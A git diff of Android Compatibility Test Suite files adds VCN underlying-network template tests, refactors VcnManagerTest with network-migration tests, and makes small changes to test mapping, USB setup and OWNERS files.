diff --git a/tests/tests/uirendering27/TEST_MAPPING b/tests/tests/uirendering27/TEST_MAPPING
index 318d99c..47f6338 100644
--- a/tests/tests/uirendering27/TEST_MAPPING
+++ b/tests/tests/uirendering27/TEST_MAPPING
@@ -3,5 +3,10 @@
     {
       "name": "CtsUiRenderingTestCases27"
     }
+  ],
+  "hwasan-postsubmit": [
+    {
+      "name": "CtsUiRenderingTestCases27"
+    }
   ]
 }
diff --git a/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java b/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
index d88a292..beac44d 100644
--- a/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
+++ b/tests/tests/usb/src/android/usb/cts/UsbManagerApiTest.java
@@ -19,6 +19,7 @@
 import static android.Manifest.permission.MANAGE_USB;
 
 import android.app.UiAutomation;
+import android.content.pm.PackageManager;
 import android.hardware.usb.UsbManager;
 import android.util.Log;
 
@@ -29,6 +30,7 @@
 import java.util.ArrayList;
 
 import org.junit.Assert;
+import org.junit.Assume;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -51,6 +53,12 @@
 
     @Before
     public void setUp() {
+        PackageManager pm = InstrumentationRegistry.getContext().getPackageManager();
+
+        boolean hasUsbHost = pm.hasSystemFeature(PackageManager.FEATURE_USB_HOST);
+        boolean hasUsbAccessory =
+            pm.hasSystemFeature(PackageManager.FEATURE_USB_ACCESSORY);
+        Assume.assumeTrue(hasUsbHost || hasUsbAccessory);
         Assert.assertNotNull(mUsbManagerSys);
     }
 
diff --git a/tests/tests/util/src/android/util/cts/OWNERS b/tests/tests/util/src/android/util/cts/OWNERS
new file mode 100644
index 0000000..c4e91b5
--- /dev/null
+++ b/tests/tests/util/src/android/util/cts/OWNERS
@@ -0,0 +1,7 @@
+include platform/frameworks/base:/OWNERS
+
+per-file InstallUtilTest.java = file:platform/frameworks/base:/core/java/android/content/pm/OWNERS
+
+per-file TimeUtilsTest.java = file:platform/frameworks/base:/services/core/java/com/android/server/timezonedetector/OWNERS
+
+per-file TypedValueTest.java = file:platform/frameworks/base:/core/java/android/content/res/OWNERS
\ No newline at end of file
diff --git a/tests/tests/vcn/AndroidTest.xml b/tests/tests/vcn/AndroidTest.xml
index 519b88a..4b431b3 100644
--- a/tests/tests/vcn/AndroidTest.xml
+++ b/tests/tests/vcn/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
 
     <option name="not-shardable" value="true" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/vcn/OWNERS b/tests/tests/vcn/OWNERS
index 574aa9f..b3efc7b 100644
--- a/tests/tests/vcn/OWNERS
+++ b/tests/tests/vcn/OWNERS
@@ -1,3 +1,3 @@
 # Bug component: 685852
 nharold@google.com
-junyin@google.com
\ No newline at end of file
+yangji@google.com
\ No newline at end of file
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnCellUnderlyingNetworkTemplateTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnCellUnderlyingNetworkTemplateTest.java
new file mode 100644
index 0000000..9100bc0
--- /dev/null
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnCellUnderlyingNetworkTemplateTest.java
@@ -0,0 +1,139 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.net.vcn.cts;
+
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_ANY;
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_FORBIDDEN;
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_REQUIRED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.fail;
+
+import android.net.vcn.VcnCellUnderlyingNetworkTemplate;
+
+import org.junit.Test;
+
+import java.util.HashSet;
+import java.util.Set;
+
+public class VcnCellUnderlyingNetworkTemplateTest extends VcnUnderlyingNetworkTemplateTestBase {
+    private static final Set<String> ALLOWED_PLMN_IDS = Set.of("123456", "12345");
+    private static final Set<Integer> ALLOWED_CARRIER_IDS = Set.of(100, 101);
+
+    // Package private for use in VcnGatewayConnectionConfigTest
+    static VcnCellUnderlyingNetworkTemplate getTestNetworkTemplate() {
+        return new VcnCellUnderlyingNetworkTemplate.Builder()
+                .setMetered(MATCH_REQUIRED)
+                .setRoaming(MATCH_REQUIRED)
+                .setOpportunistic(MATCH_FORBIDDEN)
+                .setOperatorPlmnIds(ALLOWED_PLMN_IDS)
+                .setSimSpecificCarrierIds(ALLOWED_CARRIER_IDS)
+                .setMinDownstreamBandwidthKbps(
+                        MIN_ENTRY_DOWN_BANDWIDTH_KBPS, MIN_EXIT_DOWN_BANDWIDTH_KBPS)
+                .setMinUpstreamBandwidthKbps(
+                        MIN_ENTRY_UP_BANDWIDTH_KBPS, MIN_EXIT_UP_BANDWIDTH_KBPS)
+                .build();
+    }
+
+    @Test
+    public void testBuilderAndGetters() {
+        final VcnCellUnderlyingNetworkTemplate networkTemplate = getTestNetworkTemplate();
+        assertEquals(MATCH_REQUIRED, networkTemplate.getMetered());
+        assertEquals(MATCH_REQUIRED, networkTemplate.getRoaming());
+        assertEquals(MATCH_FORBIDDEN, networkTemplate.getOpportunistic());
+        assertEquals(ALLOWED_PLMN_IDS, networkTemplate.getOperatorPlmnIds());
+        assertEquals(ALLOWED_CARRIER_IDS, networkTemplate.getSimSpecificCarrierIds());
+        verifyBandwidthsWithTestValues(networkTemplate);
+    }
+
+    @Test
+    public void testBuilderAndGettersForDefaultValues() {
+        final VcnCellUnderlyingNetworkTemplate networkTemplate =
+                new VcnCellUnderlyingNetworkTemplate.Builder().build();
+        assertEquals(MATCH_ANY, networkTemplate.getMetered());
+        assertEquals(MATCH_ANY, networkTemplate.getRoaming());
+        assertEquals(MATCH_ANY, networkTemplate.getOpportunistic());
+        assertEquals(new HashSet<String>(), networkTemplate.getOperatorPlmnIds());
+        assertEquals(new HashSet<Integer>(), networkTemplate.getSimSpecificCarrierIds());
+        verifyBandwidthsWithDefaultValues(networkTemplate);
+    }
+
+    @Test
+    public void testBuildWithEmptySets() {
+        final VcnCellUnderlyingNetworkTemplate networkTemplate =
+                new VcnCellUnderlyingNetworkTemplate.Builder()
+                        .setOperatorPlmnIds(new HashSet<String>())
+                        .setSimSpecificCarrierIds(new HashSet<Integer>())
+                        .build();
+        assertEquals(new HashSet<String>(), networkTemplate.getOperatorPlmnIds());
+        assertEquals(new HashSet<Integer>(), networkTemplate.getSimSpecificCarrierIds());
+    }
+
+    @Test
+    public void testBuildWithNullOperatorPlmnIds() {
+        try {
+            new VcnCellUnderlyingNetworkTemplate.Builder().setOperatorPlmnIds(null);
+            fail("Expect to fail due to the null argument");
+        } catch (Exception expected) {
+        }
+    }
+
+    private static void verifyBuildWithInvalidOperatorPlmnIds(String plmnId) {
+        try {
+            new VcnCellUnderlyingNetworkTemplate.Builder().setOperatorPlmnIds(Set.of(plmnId));
+            fail("Expect to fail due to the invalid PLMN ID");
+        } catch (Exception expected) {
+        }
+    }
+
+    @Test
+    public void testBuildWithInvalidOperatorPlmnIds() {
+        verifyBuildWithInvalidOperatorPlmnIds("1234567");
+        verifyBuildWithInvalidOperatorPlmnIds("1234");
+        verifyBuildWithInvalidOperatorPlmnIds("abcde");
+    }
+
+    @Test
+    public void testBuildWithNullCarrierIds() {
+        try {
+            new VcnCellUnderlyingNetworkTemplate.Builder().setSimSpecificCarrierIds(null);
+            fail("Expect to fail due to the null argument");
+        } catch (Exception expected) {
+        }
+    }
+
+    @Test
+    public void testBuildWithInvalidDownstreamBandwidth() {
+        try {
+            new VcnCellUnderlyingNetworkTemplate.Builder()
+                    .setMinDownstreamBandwidthKbps(
+                            MIN_ENTRY_DOWN_BANDWIDTH_KBPS, MIN_ENTRY_DOWN_BANDWIDTH_KBPS + 1);
+            fail("Expect to fail because entry bandwidth is smaller than exit bandwidth");
+        } catch (Exception expected) {
+        }
+    }
+
+    @Test
+    public void testBuildWithInvalidUpstreamBandwidth() {
+        try {
+            new VcnCellUnderlyingNetworkTemplate.Builder()
+                    .setMinUpstreamBandwidthKbps(
+                            MIN_ENTRY_UP_BANDWIDTH_KBPS, MIN_ENTRY_UP_BANDWIDTH_KBPS + 1);
+            fail("Expect to fail because entry bandwidth is smaller than exit bandwidth");
+        } catch (Exception expected) {
+        }
+    }
+}
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnGatewayConnectionConfigTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnGatewayConnectionConfigTest.java
index 4cc6335..602ad4a 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnGatewayConnectionConfigTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnGatewayConnectionConfigTest.java
@@ -27,12 +27,16 @@
 import android.net.ipsec.ike.IkeSessionParams;
 import android.net.ipsec.ike.IkeTunnelConnectionParams;
 import android.net.vcn.VcnGatewayConnectionConfig;
+import android.net.vcn.VcnUnderlyingNetworkTemplate;
 
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import java.util.ArrayList;
+import java.util.Collections;
+import java.util.List;
 import java.util.concurrent.TimeUnit;
 
 @RunWith(AndroidJUnit4.class)
@@ -46,12 +50,22 @@
             };
     private static final int MAX_MTU = 1360;
 
+    private static final List<VcnUnderlyingNetworkTemplate> UNDERLYING_NETWORK_TEMPLATES;
+
+    static {
+        List<VcnUnderlyingNetworkTemplate> nwTemplates = new ArrayList<>();
+        nwTemplates.add(VcnCellUnderlyingNetworkTemplateTest.getTestNetworkTemplate());
+        nwTemplates.add(VcnWifiUnderlyingNetworkTemplateTest.getTestNetworkTemplate());
+        UNDERLYING_NETWORK_TEMPLATES = Collections.unmodifiableList(nwTemplates);
+    }
+
     public static VcnGatewayConnectionConfig.Builder buildVcnGatewayConnectionConfigBase() {
         return new VcnGatewayConnectionConfig.Builder(
                         VCN_GATEWAY_CONNECTION_NAME, buildTunnelConnectionParams())
                 .addExposedCapability(NET_CAPABILITY_INTERNET)
                 .setRetryIntervalsMillis(RETRY_INTERNAL_MILLIS)
-                .setMaxMtu(MAX_MTU);
+                .setMaxMtu(MAX_MTU)
+                .setVcnUnderlyingNetworkPriorities(UNDERLYING_NETWORK_TEMPLATES);
     }
 
     private static VcnGatewayConnectionConfig buildVcnGatewayConnectionConfig() {
@@ -66,6 +80,9 @@
         assertEquals(buildTunnelConnectionParams(), gatewayConnConfig.getTunnelConnectionParams());
         assertArrayEquals(
                 new int[] {NET_CAPABILITY_INTERNET}, gatewayConnConfig.getExposedCapabilities());
+        assertEquals(
+                UNDERLYING_NETWORK_TEMPLATES,
+                gatewayConnConfig.getVcnUnderlyingNetworkPriorities());
         assertArrayEquals(RETRY_INTERNAL_MILLIS, gatewayConnConfig.getRetryIntervalsMillis());
     }
 
diff --git a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
index 9670611..028c6b7 100644
--- a/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
+++ b/tests/tests/vcn/src/android/net/vcn/cts/VcnManagerTest.java
@@ -17,15 +17,19 @@
 package android.net.vcn.cts;
 
 import static android.content.pm.PackageManager.FEATURE_TELEPHONY;
+import static android.ipsec.ike.cts.IkeTunUtils.PortPair;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_METERED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_NOT_VCN_MANAGED;
 import static android.net.NetworkCapabilities.NET_CAPABILITY_VALIDATED;
 import static android.net.NetworkCapabilities.TRANSPORT_CELLULAR;
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_FORBIDDEN;
+import static android.net.vcn.VcnUnderlyingNetworkTemplate.MATCH_REQUIRED;
 import static android.telephony.SubscriptionManager.INVALID_SUBSCRIPTION_ID;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
 import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+import static com.android.internal.util.HexDump.hexStringToByteArray;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
@@ -47,25 +51,30 @@
 import android.net.NetworkRequest;
 import android.net.vcn.VcnConfig;
 import android.net.vcn.VcnManager;
+import android.net.vcn.VcnUnderlyingNetworkTemplate;
+import android.net.vcn.VcnWifiUnderlyingNetworkTemplate;
 import android.net.vcn.cts.TestNetworkWrapper.VcnTestNetworkCallback;
 import android.net.vcn.cts.TestNetworkWrapper.VcnTestNetworkCallback.CapabilitiesChangedEvent;
 import android.os.ParcelUuid;
 import android.os.SystemClock;
 import android.telephony.SubscriptionManager;
 import android.telephony.TelephonyManager;
-import android.telephony.cts.util.CarrierPrivilegeUtils;
 import android.telephony.cts.util.SubscriptionGroupUtils;
 
 import androidx.test.InstrumentationRegistry;
 import androidx.test.ext.junit.runners.AndroidJUnit4;
 
+import com.android.compatibility.common.util.CarrierPrivilegeUtils;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
 import java.net.InetAddress;
+import java.util.ArrayList;
 import java.util.Collections;
+import java.util.List;
 import java.util.UUID;
 import java.util.concurrent.CompletableFuture;
 import java.util.concurrent.Executor;
@@ -96,8 +105,6 @@
     private final TelephonyManager mTelephonyManager;
     private final ConnectivityManager mConnectivityManager;
 
-    private TestNetworkWrapper mTestNetworkWrapper;
-
     public VcnManagerTest() {
         mContext = InstrumentationRegistry.getContext();
         mVcnManager = mContext.getSystemService(VcnManager.class);
@@ -115,23 +122,21 @@
 
     @After
     public void tearDown() throws Exception {
-        try {
-            if (mTestNetworkWrapper != null) {
-                mTestNetworkWrapper.close();
-                mTestNetworkWrapper = null;
-            }
-        } finally {
-            getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
-        }
+        getInstrumentation().getUiAutomation().dropShellPermissionIdentity();
     }
 
     private VcnConfig.Builder buildVcnConfigBase() {
+        return buildVcnConfigBase(new ArrayList<VcnUnderlyingNetworkTemplate>());
+    }
+
+    private VcnConfig.Builder buildVcnConfigBase(List<VcnUnderlyingNetworkTemplate> nwTemplate) {
         // TODO(b/191371669): remove the exposed MMS capability and use
         // VcnGatewayConnectionConfigTest.buildVcnGatewayConnectionConfig() instead
         return new VcnConfig.Builder(mContext)
                 .addGatewayConnectionConfig(
                         VcnGatewayConnectionConfigTest.buildVcnGatewayConnectionConfigBase()
                                 .addExposedCapability(NetworkCapabilities.NET_CAPABILITY_MMS)
+                                .setVcnUnderlyingNetworkPriorities(nwTemplate)
                                 .build());
     }
 
@@ -353,64 +358,73 @@
         mVcnManager.unregisterVcnStatusCallback(callback);
     }
 
-    @Test
-    public void testVcnManagedNetworkLosesNotVcnManagedCapability() throws Exception {
-        final int subId = verifyAndGetValidDataSubId();
-
-        mTestNetworkWrapper =
+    private TestNetworkWrapper createTestNetworkWrapper(
+            boolean isMetered, int subId, InetAddress localAddress) throws Exception {
+        TestNetworkWrapper testNetworkWrapper =
                 new TestNetworkWrapper(
                         mContext,
                         TEST_NETWORK_MTU,
-                        true /* isMetered */,
+                        isMetered,
                         Collections.singleton(subId),
-                        LOCAL_ADDRESS);
-        assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
+                        localAddress);
+        assertNotNull("No test network found", testNetworkWrapper.tunNetwork);
+        return testNetworkWrapper;
+    }
 
-        // Before the VCN starts, the test network should have NOT_VCN_MANAGED
-        verifyExpectedUnderlyingNetworkCapabilities(
-                true /* expectNotVcnManaged */,
-                false /* expectNotMetered */);
+    @Test
+    public void testVcnManagedNetworkLosesNotVcnManagedCapability() throws Exception {
+        final int subId = verifyAndGetValidDataSubId();
+        try (TestNetworkWrapper testNetworkWrapper =
+                createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+            // Before the VCN starts, the test network should have NOT_VCN_MANAGED
+            waitForExpectedUnderlyingNetworkWithCapabilities(
+                    testNetworkWrapper,
+                    true /* expectNotVcnManaged */,
+                    false /* expectNotMetered */,
+                    TestNetworkWrapper.NETWORK_CB_TIMEOUT_MS);
 
-        CarrierPrivilegeUtils.withCarrierPrivilegesForShell(mContext, subId, () -> {
-            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, subId, (subGrp) -> {
-                mVcnManager.setVcnConfig(subGrp, buildVcnConfig());
+            CarrierPrivilegeUtils.withCarrierPrivilegesForShell(mContext, subId, () -> {
+                SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, subId, (subGrp) -> {
+                    mVcnManager.setVcnConfig(subGrp, buildVcnConfig());
 
-                // Once VCN starts, the test network should lose NOT_VCN_MANAGED
-                verifyExpectedUnderlyingNetworkCapabilities(
-                        false /* expectNotVcnManaged */,
-                        false /* expectNotMetered */);
+                    // Once VCN starts, the test network should lose NOT_VCN_MANAGED
+                    waitForExpectedUnderlyingNetworkWithCapabilities(
+                            testNetworkWrapper,
+                            false /* expectNotVcnManaged */,
+                            false /* expectNotMetered */,
+                            TestNetworkWrapper.NETWORK_CB_TIMEOUT_MS);
 
-                mVcnManager.clearVcnConfig(subGrp);
+                    mVcnManager.clearVcnConfig(subGrp);
 
-                // After the VCN tears down, the test network should have
-                // NOT_VCN_MANAGED again
-                verifyExpectedUnderlyingNetworkCapabilities(
-                        true /* expectNotVcnManaged */,
-                        false /* expectNotMetered */);
+                    // After the VCN tears down, the test network should have
+                    // NOT_VCN_MANAGED again
+                    waitForExpectedUnderlyingNetworkWithCapabilities(
+                            testNetworkWrapper,
+                            true /* expectNotVcnManaged */,
+                            false /* expectNotMetered */,
+                            TestNetworkWrapper.NETWORK_CB_TIMEOUT_MS);
+                });
             });
-        });
+        }
     }
 
-    private void verifyExpectedUnderlyingNetworkCapabilities(
-            boolean expectNotVcnManaged, boolean expectNotMetered) throws Exception {
-        verifyExpectedUnderlyingNetworkCapabilities(
-                expectNotVcnManaged, expectNotMetered, TestNetworkWrapper.NETWORK_CB_TIMEOUT_MS);
-    }
-
-    private void verifyExpectedUnderlyingNetworkCapabilities(
-            boolean expectNotVcnManaged, boolean expectNotMetered, long timeoutMillis)
+    private void waitForExpectedUnderlyingNetworkWithCapabilities(
+            TestNetworkWrapper testNetworkWrapper,
+            boolean expectNotVcnManaged,
+            boolean expectNotMetered,
+            long timeoutMillis)
             throws Exception {
         final long start = SystemClock.elapsedRealtime();
 
         // Wait for NetworkCapabilities changes until they match the expected capabilities
         do {
             final CapabilitiesChangedEvent capabilitiesChangedEvent =
-                    mTestNetworkWrapper.vcnNetworkCallback.waitForOnCapabilitiesChanged(
+                    testNetworkWrapper.vcnNetworkCallback.waitForOnCapabilitiesChanged(
                             timeoutMillis);
             assertNotNull("Failed to receive NetworkCapabilities change", capabilitiesChangedEvent);
 
             final NetworkCapabilities nc = capabilitiesChangedEvent.networkCapabilities;
-            if (mTestNetworkWrapper.tunNetwork.equals(capabilitiesChangedEvent.network)
+            if (testNetworkWrapper.tunNetwork.equals(capabilitiesChangedEvent.network)
                     && nc.hasCapability(NET_CAPABILITY_VALIDATED)
                     && expectNotVcnManaged == nc.hasCapability(NET_CAPABILITY_NOT_VCN_MANAGED)
                     && expectNotMetered == nc.hasCapability(NET_CAPABILITY_NOT_METERED)) {
@@ -420,70 +434,234 @@
 
         fail(
                 "Expected update for network="
-                        + mTestNetworkWrapper.tunNetwork.getNetId()
+                        + testNetworkWrapper.tunNetwork.getNetId()
                         + ". Wanted NOT_VCN_MANAGED="
                         + expectNotVcnManaged
                         + " NOT_METERED="
                         + expectNotMetered);
     }
 
-    @Test
-    public void testSetVcnConfigOnTestNetwork() throws Exception {
-        final int subId = verifyAndGetValidDataSubId();
+    private interface VcnTestRunnable {
+        void runTest(ParcelUuid subGrp, Network cellNetwork, VcnTestNetworkCallback cellNetworkCb)
+                throws Exception;
+    }
 
-        mTestNetworkWrapper =
-                new TestNetworkWrapper(
-                        mContext,
-                        TEST_NETWORK_MTU,
-                        true /* isMetered */,
-                        Collections.singleton(subId),
-                        LOCAL_ADDRESS);
-        assertNotNull("No test network found", mTestNetworkWrapper.tunNetwork);
-
-        // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED) before
-        // waiting for VCN Network.
-        final NetworkRequest cellNetworkReq = new NetworkRequest.Builder()
-                .addTransportType(TRANSPORT_CELLULAR)
-                .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
-                .build();
+    private void verifyUnderlyingCellAndRunTest(int subId, VcnTestRunnable test) throws Exception {
+        // Get current cell Network then wait for it to drop (due to losing NOT_VCN_MANAGED)
+        // before waiting for VCN Network.
+        final NetworkRequest cellNetworkReq =
+                new NetworkRequest.Builder()
+                        .addTransportType(TRANSPORT_CELLULAR)
+                        .addCapability(NetworkCapabilities.NET_CAPABILITY_INTERNET)
+                        .build();
         final VcnTestNetworkCallback cellNetworkCb = new VcnTestNetworkCallback();
         mConnectivityManager.requestNetwork(cellNetworkReq, cellNetworkCb);
         final Network cellNetwork = cellNetworkCb.waitForAvailable();
         assertNotNull("No cell network found", cellNetwork);
 
         CarrierPrivilegeUtils.withCarrierPrivilegesForShell(mContext, subId, () -> {
-            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(mContext, subId, (subGrp) -> {
-                final Network vcnNetwork =
-                        setupAndGetVcnNetwork(subGrp, cellNetwork, cellNetworkCb);
-
-                clearVcnConfigsAndVerifyNetworkTeardown(subGrp, cellNetworkCb, vcnNetwork);
-            });
+            SubscriptionGroupUtils.withEphemeralSubscriptionGroup(
+                mContext,
+                subId,
+                (subGrp) -> {
+                    test.runTest(subGrp, cellNetwork, cellNetworkCb);
+                }
+            );
         });
-
         mConnectivityManager.unregisterNetworkCallback(cellNetworkCb);
     }
 
-    private Network setupAndGetVcnNetwork(
+    @Test
+    public void testSetVcnConfigOnTestNetwork() throws Exception {
+        final int subId = verifyAndGetValidDataSubId();
+
+        try (TestNetworkWrapper testNetworkWrapper =
+                createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                final VcnSetupResult vcnSetupResult =
+                    setupAndGetVcnNetwork(subGrp, cellNetwork, cellNetworkCb, testNetworkWrapper);
+
+                clearVcnConfigsAndVerifyNetworkTeardown(
+                        subGrp, cellNetworkCb, vcnSetupResult.vcnNetwork);
+            });
+        }
+    }
+
+    private VcnConfig createVcnConfigPrefersMetered() throws Exception {
+        final List<VcnUnderlyingNetworkTemplate> nwTemplates = new ArrayList<>();
+        nwTemplates.add(
+                new VcnWifiUnderlyingNetworkTemplate.Builder().setMetered(MATCH_REQUIRED).build());
+        nwTemplates.add(
+                new VcnWifiUnderlyingNetworkTemplate.Builder().setMetered(MATCH_FORBIDDEN).build());
+        return buildVcnConfigBase(nwTemplates).setIsTestModeProfile().build();
+    }
+
+    @Test
+    public void testVcnMigratesToPreferredUnderlyingNetwork() throws Exception {
+        final int subId = verifyAndGetValidDataSubId();
+        final VcnConfig vcnConfig = createVcnConfigPrefersMetered();
+
+        // Start on NOT_METERED, less preferred network.
+        try (TestNetworkWrapper testNetworkWrapperNotMetered =
+                createTestNetworkWrapper(false /* isMetered */, subId, LOCAL_ADDRESS)) {
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                final VcnSetupResult vcnSetupResult =
+                    setupAndGetVcnNetwork(
+                        subGrp,
+                        cellNetwork,
+                        cellNetworkCb,
+                        vcnConfig,
+                        testNetworkWrapperNotMetered);
+
+                // Then bring up a more preferred network, and expect to switch to it.
+                try (TestNetworkWrapper testNetworkWrapperMetered =
+                        createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+                    injectAndVerifyIkeMobikePackets(testNetworkWrapperMetered.ikeTunUtils);
+
+                    clearVcnConfigsAndVerifyNetworkTeardown(
+                            subGrp, cellNetworkCb, vcnSetupResult.vcnNetwork);
+                }
+            });
+        }
+    }
+
+    @Test
+    public void testVcnDoesNotSelectLessPreferredUnderlyingNetwork() throws Exception {
+        final int subId = verifyAndGetValidDataSubId();
+        final VcnConfig vcnConfig = createVcnConfigPrefersMetered();
+
+        // Start on METERED, more preferred network
+        try (TestNetworkWrapper testNetworkWrapperMetered =
+                createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                final VcnSetupResult vcnSetupResult =
+                        setupAndGetVcnNetwork(
+                                subGrp,
+                                cellNetwork,
+                                cellNetworkCb,
+                                vcnConfig,
+                                testNetworkWrapperMetered);
+
+                // Then bring up a less preferred network, and expect the VCN underlying
+                // network does not change.
+                try (TestNetworkWrapper testNetworkWrapperNotMetered =
+                        createTestNetworkWrapper(false /* isMetered */, subId, LOCAL_ADDRESS)) {
+                    injectAndVerifyIkeDpdPackets(
+                            testNetworkWrapperMetered.ikeTunUtils,
+                            vcnSetupResult.ikeExchangePortPair);
+
+                    clearVcnConfigsAndVerifyNetworkTeardown(
+                            subGrp, cellNetworkCb, vcnSetupResult.vcnNetwork);
+                }
+            });
+        }
+    }
+
+    @Test
+    public void testVcnMigratesAfterPreferredUnderlyingNetworkDies() throws Exception {
+        final int subId = verifyAndGetValidDataSubId();
+        final VcnConfig vcnConfig = createVcnConfigPrefersMetered();
+
+        // Start on METERED, more preferred network
+        try (TestNetworkWrapper testNetworkWrapperMetered =
+                createTestNetworkWrapper(true /* isMetered */, subId, LOCAL_ADDRESS)) {
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                final VcnSetupResult vcnSetupResult =
+                        setupAndGetVcnNetwork(
+                                subGrp,
+                                cellNetwork,
+                                cellNetworkCb,
+                                vcnConfig,
+                                testNetworkWrapperMetered);
+
+                // Bring up a NOT_METERED, less preferred network
+                try (TestNetworkWrapper testNetworkWrapperNotMetered =
+                        createTestNetworkWrapper(false /* isMetered */, subId, LOCAL_ADDRESS)) {
+                    // Teardown the preferred network
+                    testNetworkWrapperMetered.close();
+                    testNetworkWrapperMetered.vcnNetworkCallback.waitForLost();
+
+                    // Verify the VCN switches to the remaining NOT_METERED network
+                    injectAndVerifyIkeMobikePackets(testNetworkWrapperNotMetered.ikeTunUtils);
+
+                    clearVcnConfigsAndVerifyNetworkTeardown(
+                            subGrp, cellNetworkCb, vcnSetupResult.vcnNetwork);
+                }
+            });
+        }
+    }
+
+    @Test
+    public void testVcnNoUnderlyingNetworkSelectedFallback() throws Exception {
+        final int subId = verifyAndGetValidDataSubId();
+        final List<VcnUnderlyingNetworkTemplate> nwTemplates = new ArrayList<>();
+        nwTemplates.add(
+                new VcnWifiUnderlyingNetworkTemplate.Builder().setMetered(MATCH_REQUIRED).build());
+        final VcnConfig vcnConfig = buildVcnConfigBase(nwTemplates).setIsTestModeProfile().build();
+
+        // Bring up a network that does not match any of the configured network templates
+        try (TestNetworkWrapper testNetworkWrapper =
+                createTestNetworkWrapper(false /* isMetered */, subId, LOCAL_ADDRESS)) {
+            verifyUnderlyingCellAndRunTest(subId, (subGrp, cellNetwork, cellNetworkCb) -> {
+                // Verify the VCN can still be set up on the only one underlying network
+                final VcnSetupResult vcnSetupResult =
+                        setupAndGetVcnNetwork(
+                                subGrp,
+                                cellNetwork,
+                                cellNetworkCb,
+                                vcnConfig,
+                                testNetworkWrapper);
+
+                clearVcnConfigsAndVerifyNetworkTeardown(
+                        subGrp, cellNetworkCb, vcnSetupResult.vcnNetwork);
+            });
+        }
+    }
+
+    private static class VcnSetupResult {
+        public final Network vcnNetwork;
+        public final PortPair ikeExchangePortPair;
+
+        VcnSetupResult(Network vcnNetwork, PortPair ikeExchangePortPair) {
+            this.vcnNetwork = vcnNetwork;
+            this.ikeExchangePortPair = ikeExchangePortPair;
+        }
+    }
+
+    private VcnSetupResult setupAndGetVcnNetwork(
             @NonNull ParcelUuid subGrp,
             @NonNull Network cellNetwork,
-            @NonNull VcnTestNetworkCallback cellNetworkCb)
+            @NonNull VcnTestNetworkCallback cellNetworkCb,
+            @NonNull VcnConfig testModeVcnConfig,
+            @NonNull TestNetworkWrapper testNetworkWrapper)
             throws Exception {
         cellNetworkCb.waitForAvailable();
-        mVcnManager.setVcnConfig(subGrp, buildTestModeVcnConfig());
+        mVcnManager.setVcnConfig(subGrp, testModeVcnConfig);
 
         // Wait until the cell Network is lost (due to losing NOT_VCN_MANAGED) to wait for
         // VCN network
         final Network lostCellNetwork = cellNetworkCb.waitForLost();
         assertEquals(cellNetwork, lostCellNetwork);
 
-        injectAndVerifyIkeSessionNegotiationPackets(mTestNetworkWrapper.ikeTunUtils);
+        final PortPair ikeExchangePortPair =
+                injectAndVerifyIkeSessionNegotiationPackets(testNetworkWrapper.ikeTunUtils);
 
         final Network vcnNetwork = cellNetworkCb.waitForAvailable();
         assertNotNull("VCN network did not come up", vcnNetwork);
